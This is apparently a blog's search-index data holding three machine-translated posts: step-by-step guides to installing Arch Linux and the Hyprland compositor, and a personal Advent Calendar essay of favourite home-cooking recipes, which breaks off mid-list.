[{"content":" This article was machine-translated from the Japanese version.\nInstalling Hyprland as a compositor for Arch Linux\nNote that what a compositor is, features of Hyprland, and comparisons with other compositors etc. are omitted here\nInstalling Hyprland Install according to Installation – Hyprland Wiki\nSince installing on Arch Linux here, run the following command\nsudo pacman -S hyprland Installing Fonts Hyprland uses sans-serif or noto-fonts as the default configuration font, so install it beforehand\nsudo pacman -S noto-fonts Adding a Startup Script for uwsm There is also a method to launch Hyprland directly, but this time it will be launched using uwsm\nInstall the required packages according to Systemd startup – Hyprland Wiki\npacman -S uwsm libnewt Then, append the following script to an appropriate file\nHere, it is appended to ~/.profile\nif uwsm check may-start \u0026amp;\u0026amp; uwsm select; then exec uwsm start default fi Warning\nHere, appending the startup script to a file such as ~/.bash_profile that is automatically loaded at login makes it difficult to return to the CUI screen when problems occur\nTherefore, during the installation phase, it is preferable to append it to a file that is not automatically loaded, and transfer it to ~/.bash_profile etc. after all work is completed\nStarting Hyprland Start with the following command and confirm that the first-time launch screen is displayed\nsource ~/.profile Notice\nAt this time, do not log in from the root user with sudo su - USER and execute the command; log in directly as USER\nLogging in via su does not set the necessary environment variables, causing the following error\n[CRITICAL] Critical error thrown: XDG_RUNTIME_DIR is not set! terminate called after throwing an instance of \u0026#39;std::runtime_error\u0026#39; what(): XDG_RUNTIME_DIR is not set! Aborted (core dumped) Installing Required Packages If you choose to run the tutorial on the first-time launch screen, you will be guided to install required or nearly required packages, so install the packages you want to use with sudo pacman -S according to Useful Utilities – Hyprland Wiki\nHere, the packages installed in this session are listed\nTo return to the CUI screen, press SUPER+M to return to the login screen\nNotification Daemon dunst Audio and Video Handling pipewire wireplumber pipewire-pulse pipewire-alsa XDG Desktop Portal xdg-desktop-portal-hyprland Authentication Agent hyprpolkitagent Launching requires appending exec-once = systemctl --user start hyprpolkitagent in ~/.config/hypr/hyprland.conf When launching via uwsm, executing systemctl --user enable --now hyprpolkitagent.service from the CUI screen can be used instead of appending the configuration Status Bar waybar Launching requires appending exec-once = waybar in ~/.config/hypr/hyprland.conf When launching via uwsm, executing systemctl --user enable --now waybar.service from the CUI screen can be used instead of appending the configuration Wallpaper hyprpaper Launching requires appending exec-once = hyprpaper in ~/.config/hypr/hyprland.conf App launchers rofi Clipboard Managers cliphist Launching requires appending exec-once = wl-paste --type text --watch cliphist store and exec-once = wl-paste --type image --watch cliphist store in ~/.config/hypr/hyprland.conf File Managers thunar Terminal kitty After installing the required packages, Hyprland becomes available\nTransferring the Startup Script to the Profile File To automatically start Hyprland at login, transfer the content appended to ~/.profile in Adding a Startup Script for uwsm to a file that is automatically loaded such as ~/.bash_profile\ncat ~/.profile \u0026gt;\u0026gt; ~/.bash_profile rm ~/.profile References Hyprland Wiki Launched Hyprland but there are no letters : r/hyprland Resolving Audio Issues on Arch Linux with Hyprland: A Step-by-Step Guide - DEV Community ","permalink":"https://unigiri.gitlab.io/en/posts/install-hyprland-on-arch-linux/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eInstalling \u003ca href=\"https://hypr.land/\"\u003eHyprland\u003c/a\u003e as a compositor for \u003ca href=\"https://archlinux.org/\"\u003eArch Linux\u003c/a\u003e\u003cbr\u003e\nNote that what a compositor is, features of Hyprland, and comparisons with other compositors etc. are omitted here\u003c/p\u003e\n\u003ch2 id=\"installing-hyprland\"\u003eInstalling Hyprland\u003c/h2\u003e\n\u003cp\u003eInstall according to \u003ca href=\"https://wiki.hypr.land/Getting-Started/Installation/\"\u003eInstallation – Hyprland Wiki\u003c/a\u003e\u003cbr\u003e\nSince installing on Arch Linux here, run the following command\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003esudo pacman -S hyprland\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"installing-fonts\"\u003eInstalling Fonts\u003c/h2\u003e\n\u003cp\u003eHyprland uses \u003ccode\u003esans-serif\u003c/code\u003e or \u003ccode\u003enoto-fonts\u003c/code\u003e as the default configuration font, so install it beforehand\u003c/p\u003e","title":"Hyprland installation steps for Arch Linux"},{"content":" This article was machine-translated from the Japanese version.\nDocumenting the installation procedure for Arch Linux\nNote that an overview of Arch Linux and comparisons with other OSes are omitted\nISO Installation Download iso, sig, and b2sums.txt from the download page, and verify with the following commands\nb2sum -c b2sums.txt gpg --auto-key-locate clear,wkd -v --locate-external-key pierre@archlinux.org gpg --verify archlinux-x86_64.iso.sig archlinux-2025.12.01-x86_64.iso Creating USB Installation Media Confirming USB Drive Name Find the USB drive name with the following command, and confirm it is not mounted using lsblk\nls -l /dev/disk/by-id/usb-* Also, record the drive path at this time\n$ ls -l /dev/disk/by-id/usb-* lrwxrwxrwx 1 root root 9 Dec 3 20:43 /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0 -\u0026gt; ../../sda lrwxrwxrwx 1 root root 10 Dec 3 20:43 /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0-part1 -\u0026gt; ../../sda1 lrwxrwxrwx 1 root root 10 Dec 3 20:43 /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0-part2 -\u0026gt; ../../sda2 $ export MYDRIVE=/dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0:0 Reformatting If the USB was previously used as an installation media for another OS, delete the ISO 9660 filesystem signature with the following command\nsudo wipefs --all $MYDRIVE Writing the ISO File sudo su - cat archlinux-x86_64.iso \u0026gt; /dev/disk/by-id/usb-USB_SanDisk_3.2Gen1_01014dec9e899c24c9a933abd583c7db91b06dc2501e61ce2ea209f7b695be8ac04c00000000000000000000289980daff12780081558107712e850b-0\\:0 sync Preparing for Installation Insert the media created in Creating USB Installation Media into the device you want to install on, and boot\nKeyboard Layout Configuration Since I am a Dvorak user, change the settings accordingly\nloadkeys dvorak Internet Connection Setup This time, connect to a wireless network using iwctl\niwctl [iwd]# device list [iwd]# station {device_name} scan [iwd]# station {device_name} get-networks [iwd]# station {device_name} connect SSID [iwd]# exit Confirm the connection with the following command\nping archlinux.jp System Clock Update timedatectl status Partition Setup Here, installation to /dev/nvme0n1 is assumed\nDrive Formatting sudo nvme format /dev/nvme0n1 --ses=2 --ses=2 means Secure Erase, but some drives do not support this\nIf the output of the following command contains Not Supported, it is not supported, so specify --ses=1 instead\nsudo nvme id-ctrl -H /dev/nvme0 | grep \u0026#34;Crypto Erase\u0026#34; Whether --ses=1 is supported can also be confirmed with the following command\nsudo nvme id-ctrl -H /dev/nvme0 | grep \u0026#34;Format NVM\u0026#34; Partition Configuration Here, UEFI/GPT usage is assumed\nCreate partitions interactively with the following command\ngdisk /dev/nvme0n1 I could not record the log because I was working on a different terminal, so refer to GPT fdisk - ArchWiki for detailed creation methods\nHere, we proceed assuming the following partitions were set up\n/dev/nvme0n1p1 For /boot 1 GB /dev/nvme0n1p2 For swap Same capacity as memory More capacity than usual is allocated for hibernation /dev/nvme0n1p3 For / All remaining capacity Formatting Partitions Format each of the three partitions\nmkfs.fat -F 32 /dev/nvme0n1p1 mkswap /dev/nvme0n1p2 mkfs.ext4 /dev/nvme0n1p3 Mounting File Systems Mount or enable the created volumes\nmount /dev/nvme0n1p3 /mnt swapon /dev/nvme0n1p2 mount --mkdir /dev/nvme0n1p1 /mnt/boot Installation Selecting Package Mirrors Edit /etc/pacman.d/mirrorlist and move geographically close mirrors to the top\nInstalling Essential Packages pacstrap -K /mnt base linux linux-firmware sudo neovim Generating fstab genfstab -U /mnt \u0026gt;\u0026gt; /mnt/etc/fstab chroot arch-chroot /mnt Timezone Configuration ln -sf /usr/share/zoneinfo/Asia/Tokyo /etc/localtime hwclock --systohc Localization First, edit /etc/locale.gen with neovim etc. and uncomment en_US.UTF-8 UTF-8 and ja_JP.UTF-8 UTF-8\nThen, run the following\nlocale-gen After that, create /etc/locale.conf and append the following content\nLANG=en_US.UTF-8 Keymap Change Create /etc/vconsole.conf and append the following content\nKEYMAP=dvorak Network Configuration Hostname Setup Create /etc/hostname and append your desired hostname\nNetwork Setup Here, connection to wireless LAN wlan0 is assumed\nEnabling Network Interface ip link show dev Among the displayed \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt;, if UP is shown, it is enabled\nConnecting to Wireless LAN Here, iwd is used\niwctl [iwd]# station wlan0 scan [iwd]# station wlan0 get-networks [iwd]# station wlan0 connect {SSID} [iwd]# station wlan0 show Also, enable the DHCP client\n/etc/iwd/main.conf [General] EnableNetworkConfiguration=true systemctl restart iwd Domain Name Resolution iwd uses systemd-resolved or resolvconf for domain name resolution\nHere, systemd-resolved is selected\nsystemctl start systemd-resolved systemctl enable systemd-resolved Connection Confirmation ping 9.9.9.9 ping archlinux.org Root Password Setup passwd Bootloader Installation Here, EFI boot stub usage is assumed\nFirst, install efibootmgr\npacman -S efibootmgr Then, create a boot entry with the following command\nefibootmgr --create --disk /dev/nvme0n1 --part 1 --label \u0026#34;Arch Linux\u0026#34; --loader /vmlinuz-linux --unicode \u0026#39;root=/dev/nvme0n1p3 rw initrd=\\initramfs-linux.img\u0026#39; Reboot Exit the chroot environment with exit, then reboot with reboot\nIf the installation completed correctly, Arch Linux will boot\nReferences Arch Linux - Downloads インストールガイド - ArchWiki USB インストールメディア - ArchWiki ","permalink":"https://unigiri.gitlab.io/en/posts/install-arch-linux/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eDocumenting the installation procedure for \u003ca href=\"https://archlinux.org/\"\u003eArch Linux\u003c/a\u003e\u003cbr\u003e\nNote that an overview of Arch Linux and comparisons with other OSes are omitted\u003c/p\u003e\n\u003ch2 id=\"iso-installation\"\u003eISO Installation\u003c/h2\u003e\n\u003cp\u003eDownload iso, sig, and b2sums.txt from the download page, and verify with the following commands\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-sh\" data-lang=\"sh\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eb2sum -c b2sums.txt\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egpg --auto-key-locate clear,wkd -v --locate-external-key pierre@archlinux.org\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egpg --verify archlinux-x86_64.iso.sig archlinux-2025.12.01-x86_64.iso\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"creating-usb-installation-media\"\u003eCreating USB Installation Media\u003c/h2\u003e\n\u003ch3 id=\"confirming-usb-drive-name\"\u003eConfirming USB Drive Name\u003c/h3\u003e\n\u003cp\u003eFind the USB drive name with the following command, and confirm it is not mounted using \u003ccode\u003elsblk\u003c/code\u003e\u003c/p\u003e","title":"Arch Linux installation guide"},{"content":" This article was machine-translated from the Japanese version.\nHello everyone! I\u0026rsquo;m Unigiri. This article is the 12th day entry of the 卓ゲ箪笥 Advent Calendar 2025. Day 11 was dam14F\u0026rsquo;s About the Scenarios of Nuno\u0026rsquo;s Anonymous Box. I participated in this scenario too, and it was really fun!\nThis \u0026ldquo;talking\u0026rdquo; article series I write every year has now reached its third installment. 1 I\u0026rsquo;m grateful to have a life where I have at least a few things I can talk about to some extent.\nThis year, as the title says, it\u0026rsquo;s an article about my favorite cooking recipes! Even those who don\u0026rsquo;t cook much, please give it a read. Some of these might make you think \u0026ldquo;Is this really even a recipe\u0026hellip;?\u0026rdquo; Like kuzuyu where you just pour hot water.\nCooking and Me This is just the opener! If you want to see the recipes, scroll past this.\nMy cooking history began when I started living alone in my first year of university. That means from age 19. 2 At the time, due to various circumstances, I couldn\u0026rsquo;t really eat out anywhere other than the campus cafeteria and convenience stores, 3 so I inevitably had to start cooking for myself.\nAt home, I helped my mother with things like cooking rice, adding miso to miso soup and adjusting the taste, making boiled eggs, and wrapping gyoza, but I hadn\u0026rsquo;t done any proper cooking, so I subscribed to Today\u0026rsquo;s Cooking for Beginners to learn the basics of cooking. I really recommend this magazine!! It uses a lot of recipes without obscure ingredients, making it very practical. You can now read past recipes online.\nWhat did I actually make back then\u0026hellip;? I remember eating bread crusts I got from my part-time job for breakfast. Other than that, I stir-fried vegetables and made miso soup in a one-burner kitchen.\nAfter that, I entered the workforce, but for much the same reasons as my university days, I continued cooking for myself. 4 I moved to a place with a two-burner stove, and my home cooking level skyrocketed. On days off, I\u0026rsquo;d make and eat okazu crepes. Maybe I got a bit too carried away. It was around this time that I started challenging myself with diverse recipes beyond rice bowls and one-soup-one-side combinations.\nAfter that, I moved into a share house and started seeing how other people cooked, then lived with my mother and temporarily cooked less, then moved into another share house with an old-school, full-scale commercial kitchen where you light the fire with a match lighter, but one way or another, I\u0026rsquo;ve continued cooking my own meals to a reasonable extent.\nThis article is a collection of recipes that such a me loves and uses often.\nDefinition of Difficulty in Recipes A nerd immediately starts with definitions. Well, just hear me out for a moment.\nThis article categorizes each recipe by difficulty level. But what you find difficult or tedious when cooking varies from person to person, right? So, here I present Unigiri\u0026rsquo;s definition of a high-difficulty recipe.\nThe recipe uses many types of ingredients The process of heating ingredients is complex For point 1, I think it\u0026rsquo;s easy to imagine. When making a shopping list while looking at a recipe, if there are many ingredients, considering the cost, time, effort, and everything else, you tend to think \u0026ldquo;Well, maybe I\u0026rsquo;ll just pretend I didn\u0026rsquo;t see this\u0026hellip;\u0026rdquo; and close the recipe.\nFor point 2, it\u0026rsquo;s somewhat subjective, but as one example, I find it tedious when there\u0026rsquo;s a step where you have to temporarily remove ingredients from the frying pan or pot. You need a plate to place the evacuated ingredients on, which increases the washing up, and somehow\u0026hellip; I get this feeling like \u0026ldquo;Once it\u0026rsquo;s heated, it should be done!\u0026rdquo; Examples include taking the egg out onto a separate plate first when making fried rice, or heating something in a frying pan and then baking it in the oven when making roast beef.\nIn this article, recipes that fall under these criteria are treated as difficult. 5 Basically, the difficulty categories here don\u0026rsquo;t apply universally, so just take them as a rough reference.\nEasy-ish Recipes Rice with Raw Egg, Mekabu, and Natto The title says it all! Just crack an egg and dump mekabu and natto over cooked white rice. If you have small green onions, white sesame seeds, or shredded nori, scattering them on top as a finish makes it even better.\nThe key here is the mekabu — having a green ingredient in there makes you feel like you\u0026rsquo;re at least somewhat health-conscious. At minimum, you\u0026rsquo;re getting dietary fiber. Store-bought seasoned mekabu packs are the most convenient, but the seasoning combined with the natto sauce can make it a bit too salty, so personally I recommend the unseasoned kind. Either way, mekabu doesn\u0026rsquo;t keep for long, so it\u0026rsquo;s best to eat it soon after buying.\nNote that despite its liquid-food-like ease of eating, it\u0026rsquo;s surprisingly filling. 6 If you think it\u0026rsquo;s too much, I recommend dropping either the natto or the egg.\nRecipe: None (too simple to need one)\nNatto Toast Natto again. I love natto. It\u0026rsquo;s a protein source you can eat without processing. I always keep natto stocked in the fridge, but I\u0026rsquo;ve been living without really coming up with uses for it beyond putting it on rice. Sometimes I eat natto by itself to satisfy a small hunger, but when that feels a bit bland, I make natto toast.\nThe method is simply to put natto on top when toasting bread. If you feel like it, scattering white sesame seeds after it\u0026rsquo;s toasted adds to the feeling that you actually cooked. Just be careful not to spill the natto when eating. I spill it quite often though\u0026hellip;\nRecipe: None (too simple to need one)\nKuzuyu It\u0026rsquo;s become the season for delicious kuzuyu. You just add hot water to store-bought kuzuyu mix and stir, but this is also a perfectly valid recipe. Probably. I drink it when I\u0026rsquo;m a little hungry but don\u0026rsquo;t feel like eating solid food.\nThere are many kinds of kuzuyu mix sold, but I especially like Imaoka Seika\u0026rsquo;s Matcha Kuzuyu.\nRecipe: None (too simple to need one)\nCold-Brew Tea I claim to be a tea lover, but even so, brewing from hot water is still a hassle. Boil water, take out two teapots and a teacup, pour boiling water into each vessel to warm them, measure the tea leaves, steep the tea in teapot 1, pour the finished steep into teapot 2 so it doesn\u0026rsquo;t get any stronger, pour the tea into the teacup, put a tea cozy over teapot 2\u0026hellip; No matter how you think about it, I\u0026rsquo;m adding extra steps with unnecessary obsessiveness. I should just use tea bags.\nRegardless, brewing tea from hot water takes a fair amount of effort. Also, in summer I don\u0026rsquo;t want to drink hot tea. What\u0026rsquo;s very convenient at times like that is cold-brew tea.\nWhether it\u0026rsquo;s black tea, herbal tea, or Chinese/Taiwanese tea, just put 10g in a tea bag, place it in 1L of water, and leave it in the fridge. Tea bags are sold at 100-yen shops. If filling tea bags is too much effort, mugicha bags work too. The steeping time depends on your preference, but I typically leave mugicha for about 3 hours and everything else for about 8 hours.\nEveryone, drink lots of tea and prevent dehydration! If you\u0026rsquo;re concerned about caffeine, rooibos is recommended! There\u0026rsquo;s nothing you can do about tooth staining, so give up and go to the dentist regularly.\nRecipe: None (too simple to need one)\nHakase-chan\u0026rsquo;s Salt Ramen This is a recipe introduced on the TV show Sandwichman \u0026amp; Ashida Mana\u0026rsquo;s Hakase-chan. As the name suggests, it\u0026rsquo;s salt ramen, but the big feature is that you can make ramen soup just by putting 5 types of seasonings in a bowl and pouring hot water. The only effort is procuring the seasonings the first time, but once you have them stocked, being able to make ramen soup anytime is psychologically wonderful. Note that the effort of preparing toppings is not included in the recipe difficulty. Please add your favorite ingredients.\nIt\u0026rsquo;s very delicious for how easy it is, but if you make the soup exactly as the recipe says, the salt content becomes very high. 7 If you\u0026rsquo;re concerned, you should reduce the salt. I definitely don\u0026rsquo;t recommend finishing the broth.\nRecipe: Hakase-chan\u0026rsquo;s Direct Instruction! [Super Delicious Salt Ramen] We Tried Making It \u0026ldquo;Sandwichman Highly Praises\u0026rdquo; \u0026ldquo;Super Easy! Even Elementary Schoolers Can Do It\u0026rdquo; The Pinnacle of Home Ramen | Kufu Loco Sendai with Tohoku Electric Frontier\nSpaghetti with Just Tomatoes The ingredients are tomatoes, pasta, salt, olive oil, and that\u0026rsquo;s it! This is delicious for how simple it is, and for the past year whenever I have pasta it\u0026rsquo;s either this or peperoncino. The only downside is that you end up with two large items to wash — the pot for boiling pasta and the frying pan for making the sauce. Introducing a container for cooking pasta in the microwave would make it even easier.\nIn the recipe photo, dried parsley (not counted in the ingredients) is casually scattered, but it makes a huge difference in color, so I recommend using it if you have it.\nRecipe: The \u0026ldquo;Spaghetti with Just Tomatoes\u0026rdquo; That Went Viral on X Is Incredibly Delicious! Easy to Make and Great Value - Togetter\nScrambled Eggs This is a very highly recommended recipe!!!!!!! I want all of humanity to try it at least once. It\u0026rsquo;s faster for you to see it in photos than for me to explain in words, so first please take a look at the recipe.\nThis! This creamy, wobbly texture!! The moisture content is just right when you eat it with bread!!! The key points are using a pot instead of a frying pan and heating on low heat. You slowly heat it while aiming for the midpoint between liquid and solid. Sometimes I go too far pursuing the creamy texture and it becomes almost liquid, but that\u0026rsquo;s delicious too, so it works out.\nIt requires some skill with the heating, so it\u0026rsquo;s on the harder side among the easy-ish category, but it\u0026rsquo;s worth making. Seta-san, thank you so much for including this recipe in Today\u0026rsquo;s Cooking for Beginners.\nRecipe: Basic Scrambled Eggs Recipe by Kaneyuki Seta｜Everyone\u0026rsquo;s Today\u0026rsquo;s Cooking\nMedium Recipes Boiled Vegetables Boiled vegetables are surprisingly tedious to make. You just boil them, but somehow it feels like a heavy lift. Or maybe it\u0026rsquo;s that you don\u0026rsquo;t need them right this moment so it feels like a chore. That\u0026rsquo;s why I\u0026rsquo;ve placed this at medium difficulty here.\nHowever, once you muster the motivation to boil them, they become a truly reliable ally. If you boil broccoli, you can easily add vegetables to a meal, and if you boil spinach, you can eat a pseudo-ohitashi anytime by combining it with soy sauce. I\u0026rsquo;d like to always have a few types on hand to increase my vegetable intake.\nAlso, not just for boiled vegetables, Nichirei Foods\u0026rsquo; Hohoemi Gohan is very helpful for food storage methods. I can\u0026rsquo;t say enough good things about Nichirei Foods. Thank you always!\nRecipe: How to Boil Vegetables | Hohoemi Gohan - Enriching Meals Through Freezing - | Nichirei Foods Freezing Food | Hohoemi Gohan - Enriching Meals Through Freezing - | Nichirei Foods\nBoiled Chicken After vegetables, it\u0026rsquo;s time to boil chicken. I seem to have a belief that boiling anything extends its shelf life. Once boiled, you just cut the amount you want to eat and put it in your mouth for a nice protein source, which I love. 8 Also, I\u0026rsquo;ve been living without knowing what to do with the green parts of long green onions, so being able to use those up at the same time is another point I like.\nIt only keeps for a few days in the fridge, so freezing is recommended when making a larger batch. The recipe describes both a method of shredding into small pieces and a method of slicing thin, but slicing is overwhelmingly easier in terms of effort.\nAlso, the boiling broth is delicious if you add small-cut rounds of long green onion and boiled vegetables or other ingredients, season with salt and pepper, and finish with beaten egg. If you have Sichuan peppercorn on hand, adding that is good too. 9\nRecipe: How to Boil Chicken Breast - How to Make It Juicy and Storage Methods - Kurashi Try\nPeperoncino A delicious peperoncino with a strong garlic aroma. The effort itself isn\u0026rsquo;t that different from the spaghetti with just tomatoes, but since you need to remove the garlic chips and use two types of olive oil separately, I\u0026rsquo;ve classified it as medium difficulty.\nPersonally, I feel like fresh Italian parsley is optional. It adds nice fragrance, but I can\u0026rsquo;t really think of many other uses for fresh Italian parsley, and it seems hard to store\u0026hellip; As a compromise, using dried Italian parsley is a good option. Regular dried parsley works too of course, but I feel Italian parsley has better color and less of parsley\u0026rsquo;s distinctive bitterness.\nRecipe: Explaining the Secret of Emulsification - Authentic Peperoncino Recipe with Garlic Aroma. Full of Umami with Pro Techniques! | Mitsukoshi Isetan\u0026rsquo;s Food Media | FOODIE\nCarrot Stir-fry with Tarako This is truly delicious!! 10 Even when I lived at my family\u0026rsquo;s home, I would devour it and empty the batch-prepared stash in an instant. The step of julienning the carrots is much easier with a slicer. With a knife, the tediousness goes up by about 40%.\nAlso, this recipe has a lot of vague expressions like \u0026ldquo;when it becomes soft\u0026rdquo; and \u0026ldquo;when it breaks apart,\u0026rdquo; but it somehow works out even if you make it roughly. As long as you don\u0026rsquo;t burn it, you\u0026rsquo;ll be fine.\nRecipe: Carrot Tarako Stir-fry Recipe by Eiko Oba｜Everyone\u0026rsquo;s Today\u0026rsquo;s Cooking\nGolden Mapo Tofu Try this once thinking you\u0026rsquo;ve been tricked — mapo tofu turns out great seasoned with Ebara\u0026rsquo;s Golden Sauce. Really. I made it as a desperate measure when I had leftover Golden Sauce, and was surprised that it was genuinely delicious.\nWhen you try to make mapo tofu properly, it tends to require Chinese-style seasonings with limited uses, but this recipe only needs doubanjiang, so it\u0026rsquo;s truly easy.\nRecipe: When in Doubt, This! Golden Mapo Tofu Recipe | Ebara Foods\nTsukudani of Kelp I often make cold-brew dashi using kelp and iriko (dried baby sardines), which leaves me with a large amount of used dashi ingredients. It seemed wasteful to throw them away, so I was looking for ways to use them, and recently found this tsukudani of kelp. It\u0026rsquo;s not exactly flashy in appearance, but once you put it in your mouth, the umami of the kelp explodes and it\u0026rsquo;s very delicious.\nSince you make a large amount at once, sometimes you can\u0026rsquo;t consume it all within 2 weeks, so I recommend refrigerating half and freezing the other half after making it. Also, I still haven\u0026rsquo;t found a way to use the leftover iriko. I\u0026rsquo;m looking for good recipes!\nRecipe: Tsukudani of Kelp Recipe/How to Make: Shirogohan.com\nMeat Soboro A precious type of meat that\u0026rsquo;s easy to handle without much effort. Just how much of a complex do I have about protein. Mix it into stir-fried rice — great, put it on bread with pizza cheese and bake — great, mix it into stir-fried vegetables — great, the uses are infinite.\nI use simple meat soboro and the sticky, richly flavored garlic meat miso soboro depending on my mood. The former is easy to use without overpowering the flavors of other ingredients, but doesn\u0026rsquo;t keep as well, while the latter has a rich flavor and keeps for a long time, but the calories and salt content are concerning.\nRecipe: Meat Soboro Recipe by Hiroko Horie｜Everyone\u0026rsquo;s Today\u0026rsquo;s Cooking Garlic Meat Miso Soboro Recipe by Tadako Matsumoto｜Everyone\u0026rsquo;s Today\u0026rsquo;s Cooking\nHard-ish Recipes Onion Soup An onion soup for combating high blood pressure. Cooking for yourself ≠ being healthy; rather, I\u0026rsquo;m aware I\u0026rsquo;m destroying my body through food while living. 11\nThis recipe has simple ingredients and the process is just simmering, but it\u0026rsquo;s high difficulty solely because it uses a ridiculous 1kg of onions. A food processor makes it easy as the recipe says, but I don\u0026rsquo;t have one at home, so I slice 1kg very diligently. However, once made, you get about 7 servings, and the shelf life is a long 1 week, so it\u0026rsquo;s very handy.\nThe recipe uses a pressure cooker, but if you only have a regular pot at home, simmering for about 45 minutes works well.\nRecipe: ［Recipe］A Must-See for Those Concerned About High Blood Pressure and Blood Sugar! French Chef\u0026rsquo;s Devised \u0026ldquo;Onion Soup\u0026rdquo; Made Even More Easily - Food Writer Yoko Asano\u0026rsquo;s Gastronomy Diary\nPizza Sauce I always use this as the sauce for pizza toast. The things I put on toast are mostly butter, pizza cheese, natto, and meat miso — all high in fat or low in vegetables — but this sauce makes me feel like I\u0026rsquo;m eating vegetables and gives me a vaguely absolved atmosphere.\nThe cooking process itself is only as tedious as mincing onions, but since it\u0026rsquo;s a sauce, storage is somewhat difficult. In the fridge it only lasts 5-6 days, meaning you\u0026rsquo;d eat pizza toast every day, and freezing requires the slight hassle of portioning into single servings. 12 In that sense, when making it, you need to have sandwich bread ready and make it with determination.\nRecipe: Homemade Pizza Sauce / More Delicious Than Store-bought! Also Handy as an Easy Tomato Sauce.: Shirogohan.com Pizza Toast Recipe / Make Delicious Pizza Toast at Home Like a Coffee Shop!: Shirogohan.com\nChen Jianyi\u0026rsquo;s Mapo Tofu Mapo tofu for the second time. This version uses the Chinese-style seasonings with limited uses. I think quite a few people have heard the name Chen Jianyi. He\u0026rsquo;s a famous Chinese chef.\nThe characteristic of this recipe is that much of the moisture needed for mapo tofu is provided by the tofu itself. When you add the tofu, it looks like you might be making tofu stir-fry rather than mapo tofu, but somehow it ends up at the right moisture level in the end. I\u0026rsquo;m not sure if this point is the key, but it\u0026rsquo;s top-class delicious among mapo tofu recipes on the internet.\nAlso, if you make it exactly as the recipe, it turns out quite spicy. If you\u0026rsquo;re not good with spicy food, you should adjust the amount of doubanjiang.\nRecipe: Mapo Tofu Recipe by Chen Jianyi｜Everyone\u0026rsquo;s Today\u0026rsquo;s Cooking\nGuacamole A food made by mixing avocado, diced vegetables, and cilantro (= pak chi) with seasoning. You eat it as a dip sauce on tortilla chips. You can easily enjoy a party atmosphere at home, so I make it when I\u0026rsquo;m in an upbeat mood like \u0026ldquo;Let\u0026rsquo;s really go for it today!\u0026rdquo;\nBy the way, it\u0026rsquo;s absurdly hard to tell when an avocado is ripe. You can\u0026rsquo;t tell anything from the appearance. When I think it must be about ripe and cut it open, the inside is often too brown. This ruins the party mood you were building up. How do people judge ripeness? You can\u0026rsquo;t really tell by feeling the softness with your hands, and touching it seems like it might make it go bad from that spot, which is a bit scary, and I\u0026rsquo;m not very confident I can do the method of checking the stem that recipes describe.\nAlso, mincing vegetables is subtly tedious and time-consuming. The finer you chop, the better it looks and the more your mood goes up though. Overall, it\u0026rsquo;s a recipe that embodies the principle that parties come with the labor of preparation.\nRecipe: Mexican Drinking Is Hot Right Now! A Local Chef Taught Us Mexican Recipes [Part 4: Guacamole] | Ienomi Style - Information Site for People Who Enjoy Drinking at Home\nBonus 1: Favorite Cooking Recipe Book When I get into a new field, I pick one book and treat it as my parent, believing everything it says for the time being. For cooking, \u0026ldquo;Cooking Basics Practice Book: Easy! Restaurant Flavor Edition\u0026rdquo; is my parent.\nCooking Basics Practice Book: Easy! Restaurant Flavor Edition - Studio Nuts | Cooking Researcher Makiko Oda\nThe great thing about this book is that it tells you what the key point is for making that dish delicious, and why doing that makes it delicious. Being taught this means that even when you make a dish with slightly different ingredients, as long as you keep the key points in mind, the probability of failure decreases, and you can also think about what ingredients might allow you to apply those key points. It helps you become able to cook flexible, adaptable dishes, so it\u0026rsquo;s a book I really love and recommend!\nI can\u0026rsquo;t explain the book\u0026rsquo;s contents in detail, so I\u0026rsquo;ll list the names of my favorite recipes from among those published in it.\nOmurice Not the creamy, runny type but the traditional firmer kind. The chicken rice alone is delicious. If you make white sauce, you can repurpose it into a doria. Green Salad It describes how to make salad without using store-bought dressing. It\u0026rsquo;s flexible and I like it. European-style Curry A curry made with curry powder etc. rather than curry roux. Curry roux always ends up leftover for me, so this recipe is a lifesaver. Salmon Saikyo-yaki Works with fish other than salmon too. It extends the shelf life of fish fillets, so it\u0026rsquo;s very handy. Juicy Meat Gyoza I make a large batch and freeze them, and whenever I feel like it, I put them in Chinese soup for easy gyoza soup. Making them is effort, but they\u0026rsquo;re convenient. Caponata I make this every summer. Black olives provide a nice depth of flavor and it\u0026rsquo;s delicious. Swordfish Herb Breadcrumb Bake For when you want to bake fish in a Western style. The herb breadcrumbs can be frozen, so making them in advance means you can use them anytime, which is very convenient. Chicken Cream Stew This is also a roux-free recipe like the curry. As long as you have butter, flour, and milk, it\u0026rsquo;s surprisingly easy. Soy Milk Hot Pot My favorite hot pot recipe in this world. The combination of soy milk and ponzu-style vinegar creates a creamy texture that\u0026rsquo;s sublime. Tomato Bruschetta A bit hard to eat but delicious. In my mind 